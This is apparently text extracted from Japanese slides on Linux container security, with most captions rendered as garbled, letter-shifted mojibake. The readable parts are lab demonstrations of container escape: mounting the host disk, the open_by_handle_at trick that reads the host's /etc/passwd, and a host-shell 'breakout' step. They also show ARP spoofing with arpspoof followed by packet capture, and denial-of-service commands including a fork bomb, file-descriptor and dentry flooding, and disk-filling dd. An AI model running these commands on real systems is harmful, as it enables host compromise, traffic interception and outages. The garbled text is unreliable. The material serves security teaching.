     wҰ෦͚ͩ෇༩ͨ͠Γ੍ݶͨ͠Γ
     DBQBCJMJUZ $"1@4:4@"%.*/ $"1@4:4@$)3005 $"1@4:4@153"$& $"1@/&5@3"8 $"1@4:4@#005 NPVOU 
     ͳͲ DISPPU 
     QUSBDF  3"8ιέοτ QJOH
     ͳͲ SFCPPU 
     ͱ
     LFYFD@MPBE  -JOVY
     $BQBCJMJUZ
110. έΠύϏϦςΟΛମݧ͠Α͏ $ haconiwa start sample3.haco root@sample1:/# ping 8.8.8.8 PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data. 64 bytes from 8.8.8.8: icmp_seq=1 ttl=63 time=5.54 ms ^C --- 8.8.8.8 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms
111. έΠύϏϦςΟΛମݧ͠Α͏ root@sample1:/# mount /dev/sda1 /mnt/ root@sample1:/# cat /mnt/etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin … vagrant:x:1000:1000:,,,:/home/vagrant:/bin/bash ubuntu:x:1001:1001:Ubuntu:/home/ubuntu:/bin/bash lxc-dnsmasq:x:112:117:LXC dnsmasq,,,:/var/lib/lxc:/bin/false
112. έΠύϏϦςΟΛ
     %301 $ cat sample3.haco … config.capabilities.allow :all config.capabilities.drop "cap_sys_admin" config.capabilities.drop "cap_net_raw" …
113. ݖݶ͕ͳ͍ͷͰ࣮ߦෆՄೳ $ haconiwa start sample3.haco root@sample1:/# ping 8.8.8.8 ping: icmp open socket: Operation not permitted root@sample1:/# mount /dev/sda1 /mnt/ mount: permission denied
114. TZTDBMM LFYFD@MPBE JOJU@NPEVMF pOJU@NPEVMF EFMFUF@NPEVMF PQFO@CZ@IBOEMF@BU ৽͍͠ΧʔωϧΛϩʔυͰ͖Δ ΧʔωϧϞδϡʔϧΛϩʔυ ΧʔωϧϞδϡʔϧΛϩʔυ ΧʔωϧϞδϡʔϧΛ࡟আ ϋϯυϧʹରԠ͢ΔϑΝΠϧΛ։͘
115. PQFO@CZ@IBOEMF@BU wϑΝΠϧϋϯυϧ͕ࢀর͢ΔϑΝΠϧΛ։͘γεςϜίʔϧ
     •CAP_DAC_READ_SEARCH wϑΝΠϧͱσΟϨΫτϦͷಡΈग़͠ͷݖݶνΣοΫΛόΠύε͢Δ
     wCJOE
     NPVOUͨ͠σΟϨΫτϦͱಉ͡ϑΝΠϧγεςϜʹ͋Δ೚ҙͷϑΝΠϧ ʹΞΫηεՄೳ
116. PQFO@CZ@IBOEMF@BU int open_by_handle_at( int mount_fd, struct file_handle *handle, int flags); struct file_handle { unsigned int handle_bytes; /* Size of f_handle [in, out] */ int handle_type; /* Handle type [out] */ unsigned char f_handle[0]; /* File identifier */ };
117. PQFO@CZ@IBOEMF@BU struct file_handle { unsigned int handle_bytes; /* Size of f_handle [in, out] */ int handle_type; /* Handle type [out] */ unsigned char f_handle[0]; /* File identifier */ }; ઌ಄όΠτʹ͸։͖͍ͨϑΝΠϧͷ
     JOPEF
     ൪߸
118. PQFO@CZ@IBOEMF@BU $ stat /etc/passwd File: '/etc/passwd' Size: 1724 Blocks: 8 IO Block: 4096 regular file Device: 801h/2049d Inode: 23125 Links: 1 struct my_file_handle h = { .handle_bytes = 8, .handle_type = 1, // 23125 = 5a 55 .f_handle = {0x55, 0x5a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} };
119. PQFO@CZ@IBOEMF@BU $ stat /etc/passwd File: '/etc/passwd' Size: 1724 Blocks: 8 IO Block: 4096 regular file Device: 801h/2049d Inode: 57824 Links: 1 $ haconiwa start sample4.c root@sample1:/# vim read_passwd.c // Change ex) 57824= e1 e0 .f_handle = {0xe0, 0xe1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} };
120. PQFO@CZ@IBOEMF@BU root@sample1:/# gcc read_passwd.c root@sample1:/# ./a.out root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin … vagrant:x:1000:1000:,,,:/home/vagrant:/bin/bash ubuntu:x:1001:1001:Ubuntu:/home/ubuntu:/bin/bash lxc-dnsmasq:x:112:117:LXC dnsmasq,,,:/var/lib/lxc:/bin/false
121. ϗετͷγΣϧΛऔΔ root@sample1:/# gcc breakout.c root@sample1:/# ./a.out $ sudo haconiwa start demo1.haco
122. εΠενʔζϞσϧ w ίϯςφͰར༻͞ΕΔηΩϡϦςΟػߏ͸ɺҰ෦ػೳ͕ॏෳ͍ͯ͠Δ΋ͷ΋͋Δ
     w $BQBCJMJUZ
     ͱ
     TFDDPNQ
     ͷ྆ํͰಛఆͷγεςϜίʔϧΛېࢭ͍ͯͨ͠Γ
     w ͋Δػߏ͕
     #ZQBTT
     ͞Εͯ͠·ͬͯ΋ɺผͷػߏͰ๷͙
     
     ؇࿨͢Δ
     w TFDDPNQ
     ͕
     #ZQBTT
     ͞Εͯ΋
     $BQBCJMJUZ
     Ͱ๷͙
123. ίϯςφͷωοτϫʔΫ
124. $POUBJOFS
     /FUXPSL wLXD͸σϑΥϧτઃఆͰ͸ ϒϦοδ͕࡞੒͞ΕΔ eth0 lxdbr0 veth0 eth0 veth0 eth0 $POUBJOFS $POUBJOFS #SJEHF 
125. #SJEHF
     /FUXPSL $ ip addr show dev lxdbr0 4: lxdbr0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000 link/ether fe:20:6c:0f:5b:66 brd ff:ff:ff:ff:ff:ff inet 10.152.207.1/24 scope global lxdbr0 valid_lft forever preferred_lft forever inet6 fd2e:8281:6de5:9841::1/64 scope global valid_lft forever preferred_lft forever inet6 fe80::281a:c0ff:fed1:4b28/64 scope link valid_lft forever preferred_lft forever
126. $POUBJOFS
     /FUXPSL wίϯςφΛϗεςΟϯά͍ͯ͠Δ ৔߹ɺΠϯλʔωοτ͔Βτϥ ϑΟοΫΛड͚Δ
     w΋͠ίϯςφ಺ͷϢʔβʔ͕τϥ ϑΟοΫΛ๣डͰ͖ͨΒʜʁ 4500 0088 7f79 4000 4006 7980 0a6b 9601 0a6b 969f 8ef6 3039 53dd 5b1c 8615 bd1a 8018 00e5 41f1 0000
127. "31
     4QPPpOH w"31
     ͷੑ࣭Λར༻ͯ͠ϧʔςΟϯ άΛมߋ͢Δ
     w"31ςʔϒϧ ΞυϨεରরද Λ ৴͡ΔࣄͰ੒Γཱ͍ͬͯΔ
     wԠ౴Λِ૷͢Δ͜ͱʹΑΓޡͬͨ "31ςʔϒϧΛԚછͤ͞Δ͜ͱ͕ Ͱ͖Δ 4500 0088 7f79 4000 4006 7980 0a6b 9601 0a6b 969f 8ef6 3039 53dd 5b1c 8615 bd1a 8018 00e5 41f1 0000
128. "31
     5BCMF vagrant@ubuntu-xenial:~$ lxc list attacker | RUNNING | 10.128.193.110 (eth0) victim | RUNNING | 10.128.193.231 (eth0) vagrant@ubuntu-xenial:~$ arp -a ? (10.128.193.231) at 00:16:3e:6a:55:5d [ether] on lxdbr0 # attacker ? (10.0.2.2) at 52:54:00:12:35:02 [ether] on enp0s3 ? (10.128.193.110) at 00:16:3e:1d:73:72 [ether] on lxdbr0 # victim ? (10.0.2.3) at 52:54:00:12:35:03 [ether] on enp0s3
129. ίϯςφͱૄ௨͕औΕΔ͜ͱΛ֬ೝ vagrant@ubuntu-xenial:~$ lxc exec attacker bash root@test1:~# ping 10.128.193.231 # victim ip PING 10.128.193.231 (10.128.193.231) 56(84) bytes of data. 64 bytes from 10.128.193.231: icmp_seq=1 ttl=64 time=0.070 ms ^C --- 10.128.193.231 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.070/0.070/0.070/0.000 ms
130. "31
     4QPPpOH root@test1:~# arpspoof -t 10.128.193.231 10.128.193.1 &> /dev/null & [1] 1619 root@test1:~# arpspoof -t 10.128.193.1 10.128.193.231 &> /dev/null & [2] 1620
131. "31
     5BCMF vagrant@ubuntu-xenial:~$ arp -a ? (10.128.193.231) at 00:16:3e:1d:73:72 [ether] on lxdbr0 ? (10.0.2.2) at 52:54:00:12:35:02 [ether] on enp0s3 ? (10.128.193.110) at 00:16:3e:1d:73:72 [ether] on lxdbr0 ? (10.0.2.3) at 52:54:00:12:35:03 [ether] on enp0s3
132. ύέοτΛΩϟϓνϟ͢Δ root@attacker:~# tcpdump -i any -vv -w test.pcap vagrant@ubuntu-xenial:~/shared$ curl 10.128.193.231
133. औಘͨ͠ύέοτΛݟͯΈΔ $ lxc file pull attacker/root/test.pcap ./ $ tcpdump -X tcp port 80 -r test.pcap 0x0000: 4500 0082 2126 4000 3f06 8267 0a80 c101 E...!&@.?..g.... 0x0010: 0a80 c1e7 8f28 0050 ebdb f6f0 89c2 03be .....(.P........ 0x0020: 8018 00e5 985d 0000 0101 080a 001b d7cb .....].......... 0x0030: 001b d7cb 4745 5420 2f20 4854 5450 2f31 ....GET./.HTTP/1 0x0040: 2e31 0d0a 486f 7374 3a20 3130 2e31 3238 .1..Host:.10.128 0x0050: 2e31 3933 2e32 3331 0d0a 5573 6572 2d41 .193.231..User-A 0x0060: 6765 6e74 3a20 6375 726c 2f37 2e34 372e gent:.curl/7.47. 0x0070: 300d 0a41 6363 6570 743a 202a 2f2a 0d0a 0..Accept:.*/*.. 0x0080: 0d0a ..
134. ͦͷଞͷ
     "UUBDL
     4VSGBDF
135. ENFTH
     ͷόοϑΝϦϯάݺͼग़͠ͱফڈ root@sample1:/# dmesg [ 311.470895] EXT4-fs (sda1): error count since last fsck: 28 [ 311.470928] EXT4-fs (sda1): initial error at time 1537860516: htree_dirblock_to_tree:986: inode 542086: block 1069691 [ 311.470944] EXT4-fs (sda1): last error at time 1537928843: htree_dirblock_to_tree:986: inode 278756: block 531449 … root@06399a7a8814:/# dmesg -C root@06399a7a8814:/# dmesg
136. OFHBUJWF
     EFOUSZ
     ͷେྔੜ੒ root@sample1:/# perl -e 'stat("/$_") for 1..100000000’ vagrant@ubuntu-xenial:~$ sudo slabtop Active / Total Objects (% used) : 4172542 / 4182249 (99.8%) Active / Total Slabs (% used) : 197606 / 197606 (100.0%) Active / Total Caches (% used) : 78 / 122 (63.9%) Active / Total Size (% used) : 790487.34K / 794654.96K (99.5%) Minimum / Average / Maximum Object : 0.01K / 0.19K / 8.00K OBJS ACTIVE USE OBJ SIZE SLABS OBJ/SLAB CACHE SIZE NAME 4050564 4050564 100% 0.19K 192884 21 771536K dentry
137. 'JMF
     %FTDSJQUPS
     Λେྔੜ੒ w։͚ΔϑΝΠϧσΟεΫϦϓλͷ਺ʹ͸ ্ݶ͕͋Γɺ/proc/sys/fs/file- max
     Ͱ֬ೝͰ͖Δɻ
     wίϯςφͷதͷϓϩηε͕͜ͷ஋ͷ਺ ͚ͩϑΝΠϧσΟεΫϦϓλΛ։͘ͱɺ VJE
     Λڞ༗͍ͯ͠Δ৔߹͸ϗετଆʹ΋ Өڹ͕ੜ͡Δɻ
     for(i=0; i=99198; i++) { sprintf(buf, “/tmp/%d", i); int fd = open(buf, O_CREAT); if( fd == -1 ){ printf("max fd %d\n”, i); break; } } for(;;);
138. GPSL
     CPNC $ :(){ :|: & };: $ for i in {1..9999}; do sleep infinity & done
139. σΟεΫ༰ྔ $ fallocate -l 20g big_file • ίϯςφʹσΟεΫ༰ྔ੍ݶ͕ͳ͍৔߹͸େ͖ͳϑΝΠϧΛ࡞੒͢Δ͜ͱͰɺ ϗετͷσΟεΫ༰ྔΛѹഭͤ͞Δ͜ͱ͕Ͱ͖Δɻ $ dd if=/dev/zero of=tempfile bs=20GB count=10
140. ·ͱΊ IUUQTqJDLSQ;[
141. ·ͱΊ w-JOVY
     ίϯςφ͸ෳ਺ͷηΩϡϦςΟػߏʹΑͬͯकΒΕ͍ͯΔ
     wεΠενʔζϞσϧʢFY
     TFDDPNQ
     ͕΍ΒΕͯ΋
     $BQBCJMJUZ
     ͕͋Δʣ
     wઃఆʹෆඋ͕͋Δͱίϯςφ͔Βϗετɺଞͷίϯςφ΁ӨڹΛٴ΅͢
     w-9$
     ΍
     %PDLFS
     ͳͲ͸σϑΥϧτͰ͜ΕΒͷ߈ܸΛ๷͙ઃఆΛࢪ͍ͯ͠Δ
     w΋͔ͨ͠͠Βෆඋ͕͋Δ͔΋Ͷ
     
     
     w$7&
142. ܅΋ϖύϘͰಇ͔ͳ͍͔ʁ ࠷৽ͷ࠾༻৘ใΛνΣοΫˠ !QC@SFDSVJU